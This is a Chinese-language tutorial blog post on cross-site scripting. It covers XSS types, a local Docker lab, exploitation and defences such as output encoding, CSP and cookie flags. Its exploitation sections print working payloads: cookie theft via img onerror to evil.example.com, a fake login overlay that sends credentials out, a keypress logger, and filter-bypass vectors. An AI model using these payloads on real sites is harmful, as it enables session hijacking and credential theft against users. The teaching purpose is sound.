说实话,干Web安全这行的人,谁没被XSS教育过一两回。跨站脚本攻击(Cross-Site Scripting)听起来像个高深的外星词,实际上它就是一段JavaScript代码被塞进你原本信任的页面里,然后悄悄执行。2025年再看这张攻击面,它非但没有过气,反而因为前后端分离、微前端、AI生成内容这些新玩法,变得更容易被忽略。这篇文章我按“原理—分类—实操—利用—防御—排查”的顺序,从头到尾给你捋一遍。不管你是刚入门的新手,还是被漏洞报告逼疯的开发者,应该都能从中找到点有用的东西。
1. XSS到底是个什么东西:先建立一张不会垮的知识框架
1.1 一句话本质与攻击三角
XSS的全称是Cross-Site Scripting,为了跟CSS样式表区分,安全圈习惯叫XSS。它的本质特别简单,一句话说透:浏览器把用户可控的数据当成代码来执行了。凡是页面中有一处位置把用户输入的内容直接拼进HTML、JavaScript、CSS或URL里,并且没有做任何处理,那这个地方大概率就是XSS的入口。
我把一次完整的XSS攻击拆开看,永远是三个角色在配合:
- 输入点:攻击者把恶意代码送进系统的地方,比如搜索框、留言板、URL参数、上传文件的文件名、富文本内容、Http请求头,甚至postMessage消息。
- 执行点:恶意代码最终被浏览器解释执行的位置,常见的有直接在script标签里、事件属性里、href/src里、innerHTML注入点等。
- 拼接过程:数据从输入点到执行点的这段路径上,是否被“原样输出”。只要中间有人做了拼接且没消毒,链路就通了。
这里面最关键的一点是:XSS攻击的对象不是服务器,而是浏览器。攻击者真正打的是访问这个页面的用户。所以XSS在安全圈有个外号叫“浏览器上的木马”,它不需要攻破你的服务器,只需要让你把注入的脚本当成正常功能用起来。
1.2 生活化类比:一张便利贴引发的连锁事故
想象一下,写字楼前台放了一本访客签到簿,保安看了一眼来人就让他在本子上签名。某天有人不在签名栏写字,而是在页面底部贴了一张便利贴,上面写着“明天所有人把工卡放在前台”。进来的访客看到这张便利贴,以为是官方通知,第二天真的照做了。
XSS就是这张便利贴。网页本身是那本签到簿,浏览器是那个看到内容就执行的保安,而那张便利贴是一段特殊的JavaScript。只不过现实中它写的是“把你的Cookie发给我”“弹出转账页面”或者“记录你按下的每一个键盘”。
这个比喻能解释很多现象,比如为什么存储型XSS危害最大,因为它把便利贴贴在了本子上,每个翻页的人都会看到。反射型则是你拿着便利贴给前台看,然后前台把它再贴回本子还给你,只有你看得见。
1.3 2025年了,为什么XSS还是Web安全的老大难
有人会问:都2025年了,各种框架不是已经把XSS堵得差不多了吗?这个想法我在很多开发者朋友那都听过,但实际情况恰恰相反。OWASP Top 10里XSS长期霸榜,每年CVE报告里XSS数量依然排在前列,原因有几层。
框架确实处理了一部分问题。比如现在主流框架默认都会做输出编码,你用模板语法写变量,它自动帮你转义尖括号,这确实挡住了大量简单的反射型XSS。但是,框架管得住“模板里的变量”,管不住以下几种场景:
- 开发者自己用innerHTML、v-html、dangerouslySetInnerHTML接口插入富文本;
- 关键词高亮、自定义渲染、图表配置、SVG图标这些功能需要动态拼接HTML;
- 后端返回的数据里嵌套了JSON字符串,前端拿到后还要二次解析拼接;
- 旧的接口、老系统、第三方组件、低代码平台还在用字符串拼页面;
- 富文本编辑器、Markdown渲染器、AI对话流式输出这些场景天然要处理“不可信HTML”。
说白了,框架解决的是“大部分人用常规姿势写代码”的情况,但只要有人把一个接口暴露出来、把一段拼接逻辑绕过去,XSS就还在。而且现在前后端分离架构下,接口返回的数据是JSON,判断“后端到前端这段是否安全”的边界被拉得很远,排查起来比传统服务端渲染还麻烦。这个背景先放这,后面讲排查的时候会专门展开。
2. 三大XSS类型拆解:反射型、存储型、DOM型的攻击链路
2.1 反射型XSS:一次性的“钓鱼手雷”
反射型XSS也叫非持久型XSS,特点是Payload不落地,藏在URL里,一次性使用。攻击者把构造好的恶意链接发给目标,目标点开之后,服务器把参数原样带回页面,浏览器执行其中的脚本,攻击完成即结束。
举个最常见的经典场景:一个搜索页,用户输入关键词后页面显示“您搜索的是:xxx”。如果开发者直接把关键词拼到HTML里,就会这样:
// search.php <?php $q = $_GET['q'] ?? ''; echo "<p>您搜索的是:" . $q . "</p>"; ?>这时候攻击者构造一个链接:
https://example.com/search.php?q=<script>alert(1)</script>受害者点开后,页面直接弹出一个提示框。当然这只是证明漏洞存在,真实的恶意利用不会只弹窗,而是会动态加载攻击脚本。我拿这种最小用例做演示,因为它最容易让新手理解攻击链路。
反射型的关键特征是:受害者必须点开那个链接。所以攻击者通常会做很多包装工作:短链接、二维码、伪装成优惠活动页、背后的跳转逻辑。这也是为什么很多安全意识培训反复强调“不要乱点陌生链接”——从XSS的角度说,每一个挂着合法域名参数的链接,都可能是正在发射的鱼叉。
2.2 存储型XSS:一次提交,后患无穷
存储型XSS是三类里面危害最大的,因为恶意代码被持久化存在服务器数据库中,每一个访问受害页面的人都会中招。典型的场景包括:评论区、留言板、个人资料、商品评价、发帖内容等。
我把一个留言板的漏洞拆开给你看。后端保存了用户提交的留言内容,前端展示的时候原样输出:
// comment.php <?php $msg = $_POST['msg'] ?? ''; if ($msg !== '') { // 这里仅做演示,真实环境会把内容存到数据库 file_put_contents('comments.txt', $msg . PHP_EOL, FILE_APPEND); } $lines = file_get_contents('comments.txt'); echo "<div>" . nl2br($lines) . "</div>"; ?>攻击者在留言内容里填:
<img src=x onerror="document.location='https://evil.example.com/steal?cookie='+document.cookie">这条内容被保存后,任何打开留言板页面的用户浏览器都会向攻击者的服务器发起请求,把当前用户的Cookie带过去。整个过程完全不需要受害者主动点击某个恶意链接,只要“正常访问一个正常的页面”就会中招。
存储型XSS为什么这么难治?因为它牵涉的环节最多:输入要过滤、存储要保持原样、输出要编码、业务方可能又要求支持富文本格式,这四个要求互相打架。经常是安全工程师说“必须做输出编码”,产品经理说“这里必须支持加粗、图片和链接”,最后大家妥协出一个富文本方案,而富文本过滤恰恰是最容易出绕过的。
2.3 DOM型XSS:不走服务器,最难发现的那一类
DOM型XSS跟前两类的最大区别在于,它的恶意代码根本没有经过服务器,所以服务器端日志看一整天也发现不了。整个过程发生在浏览器端:JavaScript读取了某个攻击者可控的输入源,然后将其写进了危险的DOM操作接口里。
常见输入源(DOM型XSS的“入口”):
- location.hash、location.search
- document.referrer
- window.name
- postMessage消息内容
- 浏览器存储(localStorage/sessionStorage)里被外部写入的字段
- 前端路由的参数,比如Vue Router或React Router的URL参数
常见危险写入接口(“出口”):
- element.innerHTML、element.outerHTML
- document.write()
- eval()、new Function()
- jQuery的$()、.append()、.html()
- 各类框架里的v-html、dangerouslySetInnerHTML
拿一个最简单的例子,比如页面从URL hash读取内容并渲染到公告栏:
<div id="notice"></div> <script> var data = location.hash.substring(1); document.getElementById('notice').innerHTML = data; </script>如果浏览器地址栏里是:
https://example.com/index.html#<img src=x onerror=alert(document.cookie)>同样能弹窗。这种漏洞在服务端看起来就是一次普通的首页请求,日志里干干净净的,只有看了浏览器控制台的网络面板或者复盘前端代码才可能发现问题。这也是DOM型XSS在企业SRC漏洞报告里经常被低估原因——不是不存在,是很多人根本没往这个方向查。
2.4 新手快速判断:遇到XSS时先看它是哪一类
我收到过不少朋友发的漏洞截图,第一句话就是“这里有XSS”。但排查时不能眉毛胡子一把抓,先定位类型,再决定从哪里入手。我的判断顺序是这样:
| 判断维度 | 反射型 | 存储型 | DOM型 |
|---|---|---|---|
| Payload是否落库 | 否 | 是,长期保留 | 否,但可能存在于浏览器端 |
| 是否需要诱导点击 | 需要 | 不需要 | 取决于触发位置 |
| Payload出现在服务器日志 | 会出现在访问日志 | 会出现在数据库和页面响应中 | 不会出现在服务器日志 |
| 修复位置 | 后端输入过滤或输出编码 | 后端过滤+存储+输出编码 | 前端JS代码逻辑修复 |
| 典型场景 | 搜索框、URL参数回显 | 评论、留言、个人信息 | hash路由、window.name、postMessage |
前端发出请求后,先看服务器响应里有没有包含Payload原样内容:有,那就是反射型或存储型;再看刷新页面是否依然存在:存在就是存储型;如果打开浏览器开发者工具,在网络面板里Payload根本没发出去,但页面上脚本却执行了,那直接锁定DOM型。这套判断路径我用了一年多,基本能规避大部分误判。
3. 从零实操:搭建本地测试环境,亲手打一遍完整攻击链
3.1 环境准备:三分钟跑一个允许出错的本地靶场
想真正搞懂XSS,一定要上手打,光看文章绝对学不会。实操分两步:准备一个本地漏洞环境和一个抓包工具。
本地环境我推荐用Docker,一条命令就能跑起来:
# 拉取一个PHP环境镜像,作为演示环境 docker run -d -p 8080:80 --name xss-lab php:7.4-apache不熟悉Docker的同学也可以用本机装好的Nginx/Apache+PHP,甚至直接用Python写一个极简HTTP服务来演示DOM型。本文下面全部以PHP示例演示,代码都放在容器里的/var/www/html目录下,映射出来改代码就行:
docker cp ./vuln.php xss-lab:/var/www/html/ # 或者用 docker exec -it xss-lab bash 进容器直接创建抓包工具我用的是浏览器自带的开发者工具,单纯理解XSS完全够用,不需要Burp Suite那么复杂的工具。打开F12的“网络”和“控制台”两个面板,就能看到Payload的传输和页面渲染报错。
3.2 三步标准利用流程:从构建Payload到拿到结果
以反射型那个搜索页为例,完整走一遍利用流程。
第一步:探测注入点。在搜索框输入正常内容hello,提交后页面显示“您搜索的是:hello”。这时候观察拼接位置:它在一个<p>标签的文本节点里,而且加引号直接拼接。我推测这里可以直接闭合标签,也可以走事件触发。先试试最简单的方式,在地址栏输入:
http://127.0.0.1:8080/search.php?q=<script>alert(1)</script>浏览器立刻弹窗,说明存在基础的HTML注入。
第二步:升级Payload。弹窗只是为了证明漏洞,真实利用得拿数据。我把Payload升级成读取Cookie并发送出去:
<script> var img = document.createElement('img'); img.src = 'http://127.0.0.1:8081/collect?cookie=' + encodeURIComponent(document.cookie); document.body.appendChild(img); </script>浏览器执行后,会自动请求我本地另一个监听端口8081的收集服务器,把这个用户的Cookie带出来。这里我故意用了img标签而不是fetch,因为:跨域发GET请求用img最稳,且不会在控制台抛大量报错,降低被发现的可能。
第三步:查看攻击效果。在另一个终端跑一个简单的HTTP监听服务收数据:
php -S 127.0.0.1:8081 # 访问该服务任意路径时,在终端日志里能看到携带Cookie的完整URL这时候攻击链就走通了:受害者访问恶意链接→浏览器执行脚本→Cookie被发到攻击者服务器。整个过程没有任何一步是需要“攻破服务器”的,纯粹是骗浏览器执行了恶意代码。
存储型XSS的利用比我上面写的还简单,只需要在留言框里提交含有恶意脚本的内容,随后任何访问该页面的请求都会触发;DOM型则要把利用链接发给受害者,等对方打开包含特定hash或参数的URL后,脚本在前端被触发。三种类型的链路都通了之后,你对XSS的理解就从“知识点”变成“肌肉记忆”了。
3.3 前端JS验证技巧和调试习惯
实操中一个很常见的坑是:Payload明明写对了,但页面不弹窗。遇到这种情况先别急着怀疑漏洞不存在,按顺序排查:
- 打开控制台看报错:如果是
SyntaxError,多半是Payload被截断或者引号嵌套出问题,调整payload的文法。 - 先查看网页源码(Q+Ctrl+U),搜索你提交的Payload有没有被“吃”掉一部分。如果源码里Payload是完整的,但没执行,多半是被位置语义影响,比如被放在了标签属性里,需要改成闭合引号的结构。
- 用
debugger;或console.log代替alert。alert在某些浏览器或环境中会被拦截,可以用console.log(document.domain)验证脚本执行。
调试本身也是个熟能生巧的活儿。我踩过最久的一次坑,是在一个Multipart上传接口的返回JSON里拼了文件名,前端又用insertAdjacentHTML把文件名插进页面。那个漏洞绕了一道服务端转义、又绕了一道前端编码,最后是逐层打断点才追踪到。所以实操前最好会一点断点调试,设置XHR断点、DOM断点后,XSS的触发过程就跟看监控回放一样清晰。
4. 真实利用场景:从弹窗到会话劫持,XSS到底能做什么
4.1 会话劫持与身份冒充
先说最经典的利用:盗Cookie。Cookie里往往带着会话标识,拿到它就能冒充用户身份。
前提是Cookie没有设置HttpOnly标志。如果开发者设了HttpOnly,那document.cookie是读不到该Cookie的,这条路径会被堵死。但堵住Cookie不意味着安全,攻击者还有一套更隐蔽的手法:借助受害者的浏览器直接向目标网站发请求,以受害者的身份操作数据。比如通过XSS构造一个表单提交请求,修改密码、绑定手机号、下单转账,这些操作都是在线状态发起的,服务器会认为是正常用户行为,完全绕开了Cookie窃取的问题。
我管这叫“中间人操作”而不是“中间人攻击”。攻击者不直接读取你的数据,而是让你的浏览器替他执行操作。这种行为的隐蔽性非常高,服务器端看到的是正常用户的操作日志。这也是为什么XSS从未被高估——它是一个深入业务内部的“遥控器”。
4.2 钓鱼页面与键盘记录
XSS还能动态生成一个“合法”的登录弹窗,诱导用户输入账号密码。攻击代码如下:
<script> document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.6);z-index:9999;">' + '<div style="margin:20% auto;width:300px;background:#fff;padding:30px;text-align:center;">' + '<h3>会话已过期,请重新登录</h3>' + '<input id="u" placeholder="用户名"><br><br>' + '<input id="p" type="password" placeholder="密码"><br><br>' + '<button onclick="fetch(\'https://evil.example.com/get?id=\'+document.getElementById(\'u\').value+\'&pass=\'+document.getElementById(\'p\').value)">登录</button>' + '</div></div>'; </script>受害者面对的是原本正常、域名合法、页面样式一致的网站,几乎很难辨别出这是一个攻击者临时渲染出的假登录框。这一招在针对内部系统的定向攻击里非常常见,因为员工对内部系统的信任感更强。
键盘记录同样不复杂。监听页面上的keypress事件,把用户输入的内容实时传到攻击者服务器:
document.addEventListener('keypress', function (e) { new Image().src = 'https://evil.example.com/key?c=' + e.key; });配合全局监听,用户在这个页面上填写的任何内容——报销单、邮件、搜索词——都会被记录。
4.3 XSS蠕虫:在用户之间复制传染
存储型XSS如果配合用户之间操作的接口,还可能形成XSS蠕虫。脚本通过当前用户身份自动发布包含同样Payload的留言,其他用户看到留言后,脚本继续借他们的身份传播,形成链式扩散。历史上社交平台出现过几次比较轰动的XSS蠕虫事件,传播速度极快,影响范围以指数级扩大。
现代应用虽然对这类接口会有CSRF Token、接口幂等性设计等加固,但真正影响蠕虫传播的往往不是安全机制,而是产品功能本身。任何一个“用户A创建的内容能被用户B看到并交互”的功能,都有成为蠕虫传播温床的可能。写代码的时候多问自己一句:如果这段内容里藏着自动操作指令,会发生什么?
5. 防御体系与实践:纵深防御才是正确姿势
5.1 输入侧:白名单优先,不只是过滤尖括号
防御XSS第一直觉是“过滤用户输入”,但很多人做到最后发现防不住,就是因为策略错了。
过滤不能只做黑名单——把<script>、onerror、javascript:这些词替换掉——而是要做白名单校验。对于结构化字段,比如年龄、手机号、订单号,直接限制类型和格式,压根不用管什么XSS;值不在白名单范围内就直接拒绝。对于需要保留HTML语义的字段,比如富文本编辑器,就必须走白名单标签和属性列表,只给b、i、a、img这类标签放行,并在a、img的href/src上做协议校验。
真实项目中,我见过不少用黑名单过滤后被绕过的案例:大小写混写<ScRiPt>、用<img src=x onerror=alert(1)>、用javascript:编码绕过,各种花样。黑名单永远在追赶攻击者的想象力,而白名单从一开始就限定了合法范围,可用性上也更稳定。如果业务对输入无结构要求,那根本不该放行任何HTML。
5.2 输出侧:编码发生在正确的上下文里
过滤只是第一道防线,真正的兜底在输出编码。记住一个核心原则:一切动态插入页面的数据,都要按照插入位置的语法环境做对应编码。插入在HTML标签内容里,做HTML实体编码;插入在script标签里的字符串变量,做JavaScript转义;插入在CSS里,做CSS转义;插入在URL属性里,做URL编码。
常见后端语言都自带编码函数,关键是别用错地方。PHP里:
// 针对HTML上下文的输出编码,用 ENT_QUOTES 处理单双引号 echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8'); // 针对JavaScript上下文的输出编码,需要额外处理反斜杠和换行 function js_encode($input) { return json_encode((string)$input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); }前端框架自带的模板插值本身也是编码的,{{ variable }}和${variable}在Vue/React里默认都把值当纯文本渲染,这就是框架能挡住大部分XSS的原因。但一旦用v-html、dangerouslySetInnerHTML这种原样注入接口,就相当于亲手关闭了框架的防护,这时候必须对内容做完整的白名单清洗或调用可信的净化库,并且把渲染内容的来源限定为可信后台配置,而不是用户输入。
5.3 浏览器侧防线:CSP、HttpOnly、SameSite三件套
浏览器侧有两条我每次写安全方案都会带的配置:CSP(内容安全策略)和Cookie安全属性。
CSP的核心是告诉浏览器“这个页面只能加载哪些来源的资源”。一段常用配置如下:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.net; img-src 'self' data:; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'none'; report-uri /csp-report;default-src 'self':所有资源默认只允许从同源加载。script-src 'self' https://cdn.example.net:JS只允许本域和指定CDN,攻击者注入的内联脚本和外域脚本直接被拦。object-src 'none':禁止Flash、Java等插件加载,堵死一类老式绕过。base-uri 'none':防止攻击者通过篡改页面的<base>标签,把相对URL引导到自己的服务器。report-uri:把违反CSP规则的请求发给指定地址,相当于给前端装了个“违章摄像头”。
CSP对大多数XSS有很强的缓解作用,但它不是万能的:如果目标站点本身允许unsafe-inline或者某个回源域名被攻击者控制,CSP就形同虚设。所以CSP要结合业务实际做成“默认严格、必要时放宽”的形式,而不是网上拷一份大而全的配置贴上去。
Cookie安全属性方面,核心是三件套:
HttpOnly:禁止JavaScript读取Cookie,掉掉直接盗取Cookie这条路。Secure:Cookie只在HTTPS连接中传输,防止明文网络抓包。SameSite:通过限制跨站请求携带Cookie来削弱CSRF风险,间接提升XSS利用的成本,尤其是别人跨站发起请求时带不上关键会话。
在没有特殊业务需求时,优先把关键会话Cookie都打上HttpOnly; Secure; SameSite=Lax,这是成本极低的加固。
5.4 开发流程里的安全习惯:把XSS防线前移到编码阶段
防御不能靠最后安全测试的“期末考”,更靠平时的“作业正确率”。我建议每个团队在开发规范里至少建立四条硬规矩:
- 模板渲染禁止用字符串拼接HTML,必须走框架自带模板语法;
- 所有
v-html、innerHTML、dangerouslySetInnerHTML、document.write的用法,全部提交安全评审说明业务理由; - 前端从接口拿到数据后,在渲染到HTML前先做一次编码处理,不要把后端返回的JSON直接塞进HTML;
- 定期检查第三方组件的安全更新,特别是富文本编辑器、Markdown解析器这类处理HTML的组件。
这些规矩单独拎出来每一条都不复杂,但凡在一条上偷懒,后面可能就要用一次应急预案来还。
6. 常见问题与排查技巧实录
6.1 自查速查表
日常排查XSS问题时,我习惯把问题归类到下面这张表,建议你截图或者收藏下来:
| 症状 | 可能原因 | 排查方向 |
|---|---|---|
| 弹窗时而有效、时而无效 | 多段HTML解析规则不同,浏览器上下文差异 | 检查Payload所处位置是在标签内、属性内还是text节点 |
| 只有本地能弹,部署后无效 | 线上环境开启CSP或设置了过滤器 | 查看响应头Content-Security-Policy,单独调试 |
输入被转义为<script> | 开发者做了HTML实体编码 | 检查输出上下文是否需要JavaScript编码,双编码路径 |
| 写入的数据带有反斜杠 | 某些框架自动反转义或转义冲突 | 分析过滤链路上的编码次数和顺序 |
| 找不到输入点 | 漏洞可能藏在第三方SDK、后台模板配置 | 抓去全量请求并逐个分析拼接位置,检查JSONP接口 |
| Payload在源码里被截断 | 服务端对长度、字符做了限制 | 查看代码中是否有substr或正则截断逻辑 |
6.2 复盘一次典型DOM型XSS排障过程
有一回我接到一个内部系统的反馈:用户反馈在个人中心改昵称后,打开自己的主页会弹出一个奇怪的弹窗。看服务器日志,完全正常,没有任何可疑请求;看数据库里的昵称,也是正常的“张三”,没有恶意标签。
排查方向转向前端。我用浏览器开发者工具打开主页,在控制台看到Uncaught TypeError,再往上看,发现页面代码里有这样一段:
// 读取URL参数,渲染到“分享卡片”区域 var shareContent = getQueryString('share'); document.getElementById('shareCard').innerHTML = shareContent;仔细分析后恍然大悟:系统生成分享卡片时,把当前用户昵称传进了URL参数里,接收方如果带了innerHTML渲染,就产生了一个XSS链。数据库里昵称是干净的,服务器返回的页面也没有Payload,但受害者浏览器从URL里取出来的昵称,已经被攻击者提前替换成了恶意脚本。
这类问题在传统服务端日志分析视角下是无解的,只有具备“浏览器端的输入输出”视角才能发现。从那以后,我排查每个XSS报告都会多问一句:“有没有哪条数据不经过服务器,直接在前端流转?”这个习惯帮我找到了不少隐藏很深的问题。
6.3 为什么“修复了输入过滤”依然被绕过:一场和攻击者的博弈
我再多说一个常见误区。很多开发者的响应很积极:把用户输入的<script>过滤掉了、把alert关键字替换掉了,就认为修复完成。但攻击者的思路是找滤网的缝隙,而不是去撞滤网。
我见过最多的绕过思路有这几种:
- 用HTML实体编码绕过,比如
<script>,有些框架在某个层面多解码一次,就被绕过了; - 利用
<svg onload=alert(1)>、<details open ontoggle=alert(1)>等不需script标签的向量,B端标签白名单做得不全就翻车; - 针对
href属性发起的javascript:协议注入,比如<a href="javascript:alert(1)">点我</a>,如果只过滤了script标签是拦不住的; - 双编码绕过:字符先进过一层编码存储,再在另一层解码渲染,两层逻辑叠在一起产生了歧义;
- 利用宽字节、全角字符、Unicode空白符等字符集差异,让过滤规则认不出Payload。
所以我反复强调“输出编码 + 白名单”几乎是最好的组合思路,不是让你选一个。安全工程从来不是靠一次修复打天下,而是靠多道互不信任的防线层层设防。每一道防线独立失败时不至于让整个系统裸奔,这才是纵深防御的意义。
写在最后:把XSS当成老朋友,而不是洪水猛兽
我做了这么多年安全,最大的感受是:XSS不是那种靠背几条Payload就能吃透的漏洞,它比任何纯漏洞都更像一个“业务问题”。同一个输入,在不同的拼接位置、不同的浏览器解析环境、不同的业务逻辑下,结果可能完全不同。真正理解它,必须动手去构造、去观察、去调试,被它折腾过几轮,才会真正形成那种“这个数据流到底安不安全”的本能直觉。
最后再分享一个我实际项目里特别受用的习惯:每写一个涉及用户输入的接口,我都会随手在浏览器地址栏试一次<s>标签。如果页面多了一条删除线,说明拼接路径是通的,XSS风险已经出现,接下来要做的事不是去想“会不会被利用”,而是立刻把输出处的编码补上。这种“随手一测”的小动作,帮我挡掉过至少三回生产事故。
如果你在实战中还遇到过什么脑洞大开的绕过思路,或者发现某个框架的坑,非常欢迎在评论区一起讨论。安全这条路,多交流一次,就少踩一次坑。